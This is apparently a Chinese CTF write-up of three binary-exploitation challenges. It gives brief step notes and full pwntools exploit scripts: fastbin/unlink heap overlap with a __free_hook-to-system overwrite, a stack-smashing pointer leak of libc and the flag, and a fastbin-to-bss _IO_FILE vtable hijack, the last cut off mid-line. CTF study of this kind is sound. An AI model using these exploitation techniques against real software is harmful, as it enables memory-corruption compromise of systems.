题目位置
https://gitee.com/hac425/blog_data/tree/master/wdb
babyheap
- 通过分配和释放构建
2
个fastbin
链 - 利用
show
功能,leak heap
的基地址 - 然后可以在
heap
伪造fastbin
, 造成overlap chunk
- 修改
chunk size
,同时伪造free chunk
unlink
攻击 , 可以控制ptr_table
- 然后通过 修改
edit_count
实现多次写 - 改
__free_hook
设置system
.
# !/usr/local/bin/python
# -*- coding:utf-8 -*-
from pwn import *
from time import sleep
# context.log_level = "debug"
elf = ELF("./babyheap")
elf.got['puts'] = 0x0601FA0
p = elf.process()
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
ptr_table = 0x00602060
def alloc(idx, content):
p.sendlineafter("Choice:", "1")
p.sendlineafter("Index:", str(idx))
p.sendafter("Content:", content)
sleep(0.1)
def edit(idx, content):
p.sendlineafter("Choice:", "2")
p.sendlineafter("Index:", str(idx))
p.sendafter("Content:", content)
sleep(0.1)
def show(idx):
p.sendlineafter("Choice:", "3")
p.sendlineafter("Index:", str(idx))
sleep(0.1)
def free(idx):
p.sendlineafter("Choice:", "4")
p.sendlineafter("Index:", str(idx))
sleep(0.1)
info("wait to attach: gdb --pid={}".format(p.proc.pid))
payload = "\x00" * 0x18
payload += p64(0x31)
alloc(0, "sh\x00\n")
alloc(1, payload) # 用于伪造 fastbin
alloc(2, p64(0x21) * 4)
alloc(3, '\x21' * 0x20)
free(2)
free(1)
info("获取 fastbin 链表")
show(1)
leak = p.recvuntil("\n")[:-1]
leak = u64(leak + "\x00" * (8 - len(leak)))
heap_base = leak - 0x60
info("heap_base: " + hex(heap_base))
edit(1, p64(heap_base + 0x50) + "\n")
info("修改fastbin 指针, 伪造 bin")
payload = p64(0) + p64(0x21)
payload += p64(ptr_table - 0x18 + 0x8)
payload += p64(ptr_table - 0x10 + 0x8)
alloc(4, "333\n")
alloc(5, p64(0x20) + p64(0x90) + "\n")
alloc(6, "sh\x00" + "\n")
alloc(7, "666" + "\n")
free(4)
alloc(8, payload)
info("通过 free + new 实现 edit , 伪造 free chunk 用于 unlinnk")
free(2)
payload = "\x00" * 0x10
payload += p64(0x06020B0)
payload += p64(ptr_table)
edit(1, payload)
edit(0, p64(0) + "\n")
info("修改 ptr_table , 设置 edit 计数为 0")
payload = p64(0x06020B0)
payload += p64(ptr_table)
payload += p64(elf.got['puts'])
payload += p64(ptr_table)
edit(1, payload)
edit(0, p64(0) + "\n")
show(2)
leak = p.recvuntil("\n")[:-1]
leak = u64(leak + "\x00" * (8 - len(leak)))
libc.address = leak - libc.symbols['puts']
info("libc.address: " + hex(libc.address))
payload = p64(0x06020B0)
payload += p64(ptr_table)
payload += p64(elf.got['puts'])
payload += p64(libc.symbols['__free_hook'])
edit(1, payload)
edit(0, p64(0) + "\n")
edit(3, p64(libc.symbols['system']) + "\n")
free(6)
p.interactive()
guess
栈底 会保存一个指针,在检测栈溢出时会打印, 于是通过覆盖指针 来 leak flag
#!/usr/local/bin/python
# -*- coding:utf-8 -*-
from pwn import *
# context.log_level = "debug"
elf_path = "/home/lsl/network_fuzz/netconf/GUESS"
libc_path = "./libc6_2.19-0ubuntu6.14_amd64.so"
elf = ELF(elf_path)
libc = ELF(libc_path)
def get_offset():
for i in range(0x80, 0x180):
p = elf.process()
p.recvuntil("flag\n")
# 0x0400C90 You must have great six sense!!!! :-o
# 在 栈的底部有指针,当检测到栈溢出时会打印指针内容, 遍历设置看哪里可以覆盖到指针。
# 如果覆盖到 指针, 就会打印 0x128 *** stack smashing detected ***: You must have great six sense!!!! :-o terminated
p.sendline("1" * i + p64(0x0400C90))
p.recvline()
x = p.recvline()
p.close()
# 找到偏移退出
if "six" in x:
print hex(i), x
exit(0)
def leak_data(p, addr):
p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(addr))
p.recvuntil("***: ")
def leak_address(p, address):
leak_data(p, address)
leak = u64(p.recv(6) + "\x00" * 2)
return leak
p = elf.process()
# 先通过 puts 泄漏 libc
libc.address = leak_address(p, elf.got["puts"]) - libc.symbols['puts']
info("libc: " + hex(libc.address))
# 找到 environ 的地址,然后通过泄漏,拿到 environ 的值,这是一个 栈的地址
environ_address = libc.symbols['environ']
environ = leak_address(p, environ_address)
info("get stack addr")
# 根据 flag 在栈中的地址和 environ 的偏移,拿到 flag
flag_address = environ - 0x168
leak_data(p, flag_address)
print p.recvline()
p.close()
get_offset()
blind
stdin
, stdout
, stderr
的地址会放到 bss
段, 其中的 0x7f
可以作为 fastbin
的 size
使用。
fastbin attack
分配到bss
- 修改
ptr
表,任意地址写 - 在
bss
段后面有一块很大的空间伪造_IO_FILE_plus
, 修改vtable
为get_system
的函数 . - 修改
stdout
到 伪造的_IO_FILE_plus
#!/usr/local/bin/python
# -*- coding:utf-8 -*-
from pwn import *
import struct
context.log_level = "debug"
elf = ELF("./blind")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# 大小为 0x70 的 fake chunk
fake_chunk = 0x60203d
ptr_table = 0x602060
stdin_address = 0x602030
stdout = 0x0602020
fake_io_file = 0x602098 - 0x10
vtable_address = fake_io_file + 224
call_system = 0x0004008E3
p = elf.process()
_IO_USE_OLD_IO_FILE = False
_BITS = 64
def _u64(data):
return struct.unpack("